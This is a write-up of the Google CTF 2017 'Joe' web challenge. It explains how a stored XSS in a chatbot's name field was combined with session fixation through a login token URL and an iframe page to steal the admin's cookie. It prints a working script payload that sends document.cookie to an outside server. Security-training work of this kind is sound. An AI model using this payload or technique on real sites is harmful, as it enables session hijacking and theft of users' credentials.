Google CTF 2017, joe, web

Joe, your intelligent conversation partner

For the Joe challenge, you got access to a simple page which looked like a chat. Over a text box you were able to talk with Joe, an “intelligent” conversation partner/bot.

Joe had a few functionalities:

The challenge description already told us to steal the admin cookie, so the last functionality (report a bug) was a good guess how we can interact with the admin.

After inspecting the source, I was not able to find any direct vulnerabilities. Sending a message was - on the first sight - not vulnerable to XSS, because the message was inserted as a text element:

var row = document.createElement('p');
row.className = peer;
row.textContent = message;
conversation.appendChild(row);

Persistent Cross-Site Scripting Vulnerability

I played a bit with this and changed the name of Joe to some XSS payload (<img src=x>). Because of the code above, this payload was not executed. After testing a few other things and refreshing the page, I noticed that this payload was now executed. It was present on the page (like a log):

So we have a persistent xss in our own session. How can this help us?

My next focus was on the /message?msg=foo endpoint. It was the endpoint called when sending a message. The nice part about this endpoint was the last header of the response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Content-Encoding: gzip
X-Cloud-Trace-Context: 805d41a72f2623ac1728fed38fcac495;o=1
Vary: Accept-Encoding
Date: Mon, 19 Jun 2017 10:45:42 GMT
Server: Google Frontend
Content-Length: 64
Content-Type: `text/html`

The response also did not encode the response, so this looks like a perfect way to execute javascript in the context of a different user, doesn’t it?

So my idea was like this: Report a bug to this endpoint, where msg contains my actual payload to steal the cookie. Sadly this was not possible, because there was a very simple check against CSRF. To submit a message (and get a response), you had to add a CSRF-Protection: 1 header. This is not possible with a XMLHttpRequest/fetch, because making a GET request with an additional header results in a “preflight”-request (OPTIONS), to check for CORS settings. OPTIONS was not allowed on the server, so this failed. You can read more about this concept here.

Join me

So I kept searching for a way to get the admin to join my session. After taking a deeper look at the requests which were made for logging me in, I found this request to fullfill my login:

As can be seen, the /login endpoint is called and a long token is passed. Maybe this allows to fixate a session?

A session fixation allows to make a “victim” use a session an attacker has control over. Read more here.

So if I can make the admin reuse my session, he will also execute the XSS payload I inserted before as the name (described above). Let’s test it by copying this exact login url from burp and pasting it into a private browser window:

Success! We executed javascript in the context of a different user. So lets recap what steps we need:

I then used a simple payload as Joe’s new name (let me rename you) to send the cookie as a parameter to my server:

<script>document.write('<img src="http://myserver.com?cookie?' + document.cookie);</script>

This appends the current cookie to an url. The image does not exist, but the browser will try to fetch this image anyway so I can see it in my server access logs. Lets report our bug, so the admin visits our prepared page:

As you can see here, I can’t redirect the admin directly to the /login?toke=... url because it was too long. To work around this I made a simple html file on my server and included this url in an iframe:

<html>
<body>
<iframe src="https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSUzI1NiIsImtpZCI6ImEyOThhNTZiNmFjMDU0MzEyNTNkNDkwMzA4MTZhNWViZjk5YTEzYzUifQ.eyJhenAiOiIyODQ5NDAzNzA5MjUtY240aWZlZnVrMzNrbjBiODg3cHBwdjVmamI5MWU4cTcuYXBwcy5nb29nbGV1c2VyY29udGVudC5[...]"></iframe>
</body>
</html>

And here we see our “exploit” worked, we got the flag :)